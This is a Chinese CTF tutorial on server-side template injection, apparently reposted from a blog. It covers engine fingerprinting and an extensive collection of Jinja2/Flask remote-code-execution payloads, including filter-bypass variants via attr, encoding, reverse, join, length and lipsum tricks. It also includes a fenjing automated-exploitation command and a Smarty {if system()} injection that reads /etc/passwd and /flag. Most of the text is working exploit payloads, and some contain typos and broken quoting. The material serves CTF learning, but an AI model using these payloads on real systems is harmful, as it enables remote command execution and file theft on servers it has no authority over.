赞
踩
模板引擎是用于Web开发的工具,其作用是将用户界面和业务数据分离。通过模板引擎,我们可以根据特定的格式要求生成文档。使用模板引擎,我们只需要提供用户数据,然后将数据传递给渲染函数,模板引擎会根据提供的数据生成对应的前端HTML页面,最终呈现在用户的浏览器中。
SSTI(Server-Side Template Injection,服务端模板注入)是一种安全漏洞,通常出现在使用模板引擎的Web应用程序中。我们可以将SSTI模板注入类比于SQL注入,其成因是渲染函数在渲染的时候,对用户输入的变量不做渲染,当用户输入直接连接到模板中,而不是作为数据传入时,可能会发生服务器端模板注入攻击。任何编程语言都有可能出现 SSTI漏洞,SSTI 漏洞的本质是在服务器端对用户输入的不当处理,导致恶意用户能够通过注入模板代码来执行任意代码。这允许攻击者注入任意模板指令以操纵模板引擎,甚至可能造成任意文件读取和RCE远程控制后台系统。
以下是易受攻击的代码片段:
$output = $twig->render("Dear " . $_GET['name']);
在这段代码中,我们使用了 Twig 模板引擎来渲染模板。然而,对于传入的 name
参数,直接将其与其他字符串进行了简单的拼接,而没有对其进行任何过滤和转义操作。这样做存在安全风险,因为攻击者可以通过构造恶意的输入来注入任意的模板代码。
如果攻击者将 name
参数设置为 {{7*7}}
,则最终渲染的模板将变为:
Dear {{7*7}}
这样的结果会导致 Twig 引擎将 7*7
这个表达式作为模板代码进行执行,从而使攻击者能够执行任意的代码。
常见模板有Smarty、Mako、Twig、Jinja2、Eval、Flask、Tornado、Go、Django、Ruby等。以下是一张广为流传的图:
这幅图的含义是通过这些指令去判断对方用的是什么模板,下面解释一下这幅图的意思:
绿色箭头是执行成功,红色箭头是执行失败。
首先是注入${7*7}没有回显出49的情况,这种时候就是执行失败走红线,再次注入{{7*7}}如果还是没有回显49就代表这里没有模板注入;如果注入{{7*7}}回显了49代表执行成功,继续往下走注入{{7*'7'}},如果执行成功回显7777777说明是jinja2模板,如果回显是49就说明是Twig模板。
然后回到最初注入${7*7}成功回显出49的情况,这种时候是执行成功走绿线,再次注入a{*comment*}b,如果执行成功回显ab,就说明是Smarty模板;如果没有回显出ab,就是执行失败走红线,注入${"z".join("ab")},如果执行成功回显出zab就说明是Mako模板。实际做题时也可以把指令都拿去测测看谁能对上。平时做题也可以多搜集不同模板对应的注入语句语法。
__class__用来查看变量所属的类
__bases__用来查看类的基类,就是父类(或者__base__)
__mro__:显示类和基类
__subclasses__():查看当前类的子类
__getitem__:对数组字典的内容提取
__init__ : 初始化类,返回的类型是function__globals__:查看全局变量,有哪些可用的函数方法等,然后再搜索popen,eval等
__builtins__:提供对Python的所有"内置"标识符的直接访问,即先加载内嵌函数再调用
__import__ : 动态加载类和函数,用于导入模块,经常用于导入os模块(例如__import__('os').popen('ls').read())
url_for :flask的方法,可以用于得到__builtins__
lipsum :flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
config:当前application的所有配置。popen():执行一个 shell 以运行命令来开启一个进程
如果是初次接触的话主要是理解前八个
Python里有父类和子类,比如说我是子类A,我完成不了的事情我去找父类object,让父类去找别的子类帮我做,object是父类关系的顶端。
比如以下继承关系:
class A:pass
class B(A):pass
class C(B):pass
class D(B):pass
c=C()
print(c.__class__)(当前类C)
print(c.__class__.__base__)(当前类C的父类B)
print(c.__class__.__base__.__base__)(父类的父类即A)
print(c.__class__.__base__.__base__.__base__)(最终是object)
print(c.__class__.__base__.__subclasses__())(罗列出父类B下所有子类,即类C和类D)
print(c.__class__.__base__.__subclasses__()[1])(如果类C排在类D前面,这里就是调用父类B下的子类D,如果[1]换成[0]就是调用子类C)
{{''.class__}}里的两个单引号意思是随便找一个对象,我们会在网上看到别人的wp有时候是{{().class__}},{{"".class__}}或者{{[].class__}}区别只是包裹的是字符,元组还是列表,仅是返回的数据类型不同,本质无区别,如果被过滤可以互相替代。
(但是只有被重载后的init才有正常method有globals,slot_wrapper和builtin method没有,所以才要去找被重载了init的子类)
{{config.__class__.__init__.__globals__[‘os’].popen(‘ls’).read()}}
无过滤的情况下也可以直接{{config}}看看能不能撞上flag(?)
{{url_for.__globals__.os.popen('ls').read()}}
{{“”.__class__.__bases__[0].__subclasses__()[199].__init__.__globals__[‘os’].popen(“ls”).read()}}
{{“”.__class__.__base__.__subclasses__()[117].__init__.__globals__[‘builtins’][‘eval’]("__import__.(‘os’).popen(‘ls’).read()")}}
importlib类执行命令相当于自己导入,可以加载第三方库,使用load_module加载os
{{[].__class__.__base__.__subclasses__()[69].["load_module"]("os")[“popen”](‘ls’).read()}}
linecache函数可用于读取任意一个文件的某一行,而这个函数中也引入了os 模块,所以我们也可以利用这个 linecache 函数去执行命令。
{{[].__class__.__base__.__subclasses__()[19].__init__.__globals__.linecache.os.popen("ls").read()}}
从python2.4版本开始,可以用 subprocess 这个模块来产生子进程,并连接到子进程的标准输入/输出/错误中去,还可以得到子进程的返回值。
{{().__class__.__base__.__subclasses__()[13](“ls”,shell=True,stdout=-1).communicate()[0].strip()}}
尝试{%%},想回显内容在外面加个print就行,
{%print("".__class__)%}
getitem() 是python的一个魔术方法,对字典使用时,传入字符串,返回字典相应键所对应的值:当对列表使用时,传入整数返回列表对应索引的值。
原本是[117],中括号被ban就用
__getitem__(117)代替[117]
request在flask中可以访问基于 HTTP 请求传递的所有信息,这里的request并非python的函数,而是在flask内部的函数。
request.args.key #获取get传入的key的值
request.form.key #获取post传入参数(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
reguest.values.key #获取所有参数,如果get和post有同一个参数,post的参数会覆盖get
request.cookies.key #获取cookies传入参数
request.headers.key #获取请求头请求参数
request.data #获取post传入参数(Content-Type:a/b)
request.json #获取post传入json参数 (Content-Type: application/json)
{{().__class__.base__.__subclasses__()[117].__init__.__globals__[request.cookies.k1](request.cookies.k2).read()}}
改包添加cookie
Cookie:k1=popen;k2=cat /etc/passwd
GET提交URL?cla=__class__&bas=__base__&sub=__subclasses__&ini=__init__&glo=__globals__&gei=__getitem__
POST提交:
code={{()|attr(request.args.cla)|attr(request.args.bas)|attr(request.args.sub)()|attr(request.args.gei)(117)|attr(lequest.args.ini)|attr(request.args.glo)|attr(request.args.gei)(‘popen’(‘cat /etc/passwd’)attr(‘read’)()}}
前置知识:
①‘’|attr(“__class__”)等效于‘’.__class__
②如果要使用xxx.os(‘xxx’)类似的方法,可以使用xxx|attr(“os”)(‘xxx’)
③使用flask里的lipsum方法来执行命令:flask里的lipsum方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块
Unicode编码的python脚本如下:
- class_name = "cat /flag"
-
- unicode_class_name = ''.join(['\\u{:04x}'.format(ord(char)) for char in class_name])
-
- print(unicode_class_name)
payload示例:
url={%print(()|attr(%22\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f%22))%}
(Unicode编码,这条payload等效于{{“”.__class__}})
{{()[“\x5f\x5fclass\x5f\x5f”][“\x5f\x5finit\x5f\x5f”][“\x5f\x5fglobals\x5f\x5f”][“os”].popen(“ls”).read()}}
这条payload等效于{{“”.__class__.__init__.globals__.os.popen(“ls”).read()}}
{{()|attr("%c%cclass%c%c"%(95,95,95,95))|attr("%c%cbase%c%c"%(95,95,95,95))|attr("%c%csubclasses%c%c"%(95,95,95,95))()|attr("%c%cgetitem%c%c"%(95,95,95,95))(117)|attr("%c%cinit%c%c"%(95,95,95,95))|attr("%c%cglobals%c%c"%(95,95,95,95))|attr("%c%cgetitem%c%c"%(95,95,95,95))(‘popen’)(‘cat /etc/passwd’)|attr(‘read’)()}}
%c %(95) 即下划线(如果是在 hackbar 注入,需要将%编码为%25。在 URL中%是一个特殊字符,用于表示后面紧跟着两个十六进制数字的转义序列,如果想在 URL中包含%字符本身,需要对它进行额外的编码,将%编码成%25)
{{()[‘class’][‘base’][‘subclasses’]()[117][‘init’][‘globals’][‘popen’](‘ls’)[‘read’]()}}
{{()|attr(‘__class__’)|attr(‘__base__’)|attr(‘__subclasses__’)()|attr(‘__getitem__’)(199)|attr(‘__init__’)|attr(‘__globals__’)|attr(‘__getitem__’)(‘os')|attr(‘popen’)(‘ls’)|attr(‘read’)()}}
flask常用过滤器:
length(): 获取一个序列或者字典的长度并将其返回
int(): 将值转换为int类型;
float(): 将值转换为float类型
lower(): 将字符串转换为小写
upper(): 将字符串转换为大写
reverse(): 反转字符串;
replace(value,old,new): 将value中的old替换为new
list(): 将变量转换为列表类型,
string(): 将变量转换成字符串类型
join(): 将一个序列中的参数值拼接成字符串,通常配合dict()混合绕过
attr(): 获取对象的属性
tips:
{{ users|upper}} #把users值转化为大写
{{ users|upper|lower }} #把users值转化为大写然后转化为小写,最终是小写
{{().__class__}}等效于{{()[‘__cla’+’ss__’]}}
{{()[‘__cla’+’ss__’][‘__ba’+’se__’] [ ‘__subc’+’__lasses__’][‘__ get’+’item__’](199)[‘__in’+’it__’][‘__glo’+’bals__’][‘__geti’+’tem__’](‘os’)[‘po’+’pen’](‘ls’)[‘read’]()}}
{{()[‘__class__’]}}等价于{%set a=’__cla’%}{%set b=’ss__’%}{{()[a~b]
{%set a=’__cla’%}{%set b=’ss__%}{%set c=’__ba’%}{%set d=’se__’%}{%set e=’__subcl’%}{%set f=’asses__’%}{%set g=’__in’%}{%set h=’it__’%}{%set l=’__gl’%}{%set i=’obals__%}{%set i=’po’%}{%set k=’pen’%}{{""[a~b][c~d][e~f]()[19][g~h][l~i][‘os’][j~k](‘ls’)[‘read’]()}}
过滤器reverse
{{()[‘__class__’]}}等价于{%set a=”__ssalc__”|reverse%}{{()[a]}}
payload可以这么构造:
{%set a=”__ssalc__”|reverse%}{%set b="__esab_
_"|reverse%}{%set c=”__sessalcbus__”|reverse%}{%set d="__ tini__"|reverse%}{%set e=”__slabolg__”|reverse%}{%set f=”nepop”|reverse%}{{""[a][b][c]()[199][d][e][‘os’][f](‘ls’)[‘read’]()}}
过滤器replace
{{()[‘__class__’]}}等价于{%set a=”__claee__”|replace("ee","ss")%}{{()[a]}}
过滤器join
{%set a=dict(__cla=a,ss__=a)|join%}{{()[a]}}
(%set a=[‘__cla’,’ss__’]|join%}{{()[a]}}
{% set chr=url_for.__globals__[__builtins__].chr %}
(从内置函数里面获取ASCII解码功能,并赋值给变量chr)
构造payload如下:
{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}
(这条payload等效于{{“”.__class__}})
首先介绍length过滤器,length过滤器通常用于获取数据结构(比如列表、字典或字符串)的长度。
{% set a=’aaaaaaaaaa’|length %}{{a}} #10
{% set a=’aaaaaaaaaa’|length*’aaa’|length %}{{a}} #30
{% set a=’aaaaaaaaaa’|length*’aaaaaaaaaaaa’|length-’aaa’ |length %}{{a}} #117
10个a*12个a-3个a=117个a
如果数字被过滤可以这样绕过:
{% set a=’aaaaaaaaaa’|length %}{{“”.__class__.__bases__.__subclasses__()[a].__init__.__ globals__[‘os’].popen(“ls”).read()}}
利用flask内置函数和对象获取符号
{% set a=({}|select()|string()) %}{{a}} #获取下划线
{% set a=({}|self|string()) %} {{a}} #获取空格
{% set a=(self|string|urlencode) %}{{a}} #获取百分号
{% set a=(app.__doc__|string) %}{{a}}
Payload原型:
{{().__class__.__base__}}
绕过:
{% set a=dict(__class__=1)|join%)%}{%set b=dict(__base__=1)|join%}{{()|attr(a)|attr(b)}}
join会把字典(dict)里的键名都拼接起来,至于键的值是什么不重要,可以是__class__=1也可以是__class__=111
最终payload示例:
{% set a=dict(__class__=1)|join%)%}
{%set b=dict(__base__=1)|join%}
{%set c=dict(__subclasses__=1)|join%}
{%set d=dict(__getitem__=1)|join%}
{%set e=dict(in=1,it =2)|join%}
{{%set f=dict( glo=1,bals =2)|join%}
{%set g=dict(popen=1)|join%}
{%set kg={}|select()|string()|attr(d)(10)%}
{%set i=(dict(cat=1)|join,kg,dict(flag=2)|join)|join%)
{%set r=dict(read=1)|join%}
{{()|attr(a)|attr(b)|attr(c)()|attr(d)(117)|attr(e)|attr(f)|attr(d)(g)(i)|attr(r)()}}
注入{{lipsum|string|list}},如果回显的列表里第9位是空格,第18位是下划线,就可以这样获取下划线:
{%set a=(lipsum|string|list)[18]%}{{a}}
由于中括号被过滤:
{%set a=lipsum|string|list|attr(‘__getitem__’)(18)%}{{a}}
又由于下划线被过滤,可以用'pop’代替 getitem
{%set a=(lipsum|string|list)|attr(‘pop’)(18)%}{{a}}
这个payload是绕过过滤得到的下划线‘_’
同理下例是构造的__globals__:
该混合过滤的最终过滤示例
Payload原型
{{lipsum|attr("__globals__")|attr(“__getitem__”)("os")|attr("popen")("cat flag")|attr("read")()}}
绕过:
{%set nine=dict(aaaaaaaaa=a)|join|count%}
{%set eighteen=nine+nine%}
{%set pop=dict(pop=a)|join%}
{%set xhx=(lipsum|string|list)|attr(pop)(eighteen)%} #(获取下划线)
{%set kg=(lipsum|string|list)|attr(pop)(nine)%} #(获取空格)
{%set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join%}
{%set getitem=(xhx,xhx,dict(getitem=a)|join,xhx,xhx)|join%}
{%set os=dict(os=a)|join%}
{%set popen=dict(popen=a)|join%}
{%set flag=(dict(cat=a)|join,kg,dict(flag=a)|join)|join%}
{{flag}}
使用python的fenjing库,没安装过的要在kali上安装:
pip install fenjing
引入例题[HNCTF 2022 WEEK3]ssssti
kali使用payload:
python -m fenjing crack --url http://node5.anna.nssctf.cn:28603/ --method GET --inputs name
--method后面跟的是方法,--name后面跟的是注入的参数
接下来在命令行ls,cat /flag就行
第二种方法可以用request做出来感兴趣的可以试试,这题过滤下划线,单双引号,还有很迷的一个过滤,单纯的{{会过滤,但是如果GET方法有{{,request.cookies.c,同时在cookie传参,这个{{就不会被过滤
点开题目
翻到底下还能看见Build With Smarty !,说明这是smarty模板,而get XFF也明显提示了要抓包在X-Forwarded-For注入,把a{*comment*}b丢进去判断发现current ip确实是返回ab,确定是smarty模板
smarty简介
smarty是一个php模板引擎,其项目地址:https://github.com/smarty-php/smarty。是目前业界最著名的PHP模板引擎之一。它分离了逻辑代码和外在的内容,提供了一种易于管理和使用的方法,用来将原本与HTML代码混杂在一起PHP代码逻辑分离。
{if}
标签是Smarty模板中的一个合法标签,它不会触发相同的安全检查
在确认是smarty模板的情况下可以这样注入
{if system('ls')}{/if}
继续cat /flag
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。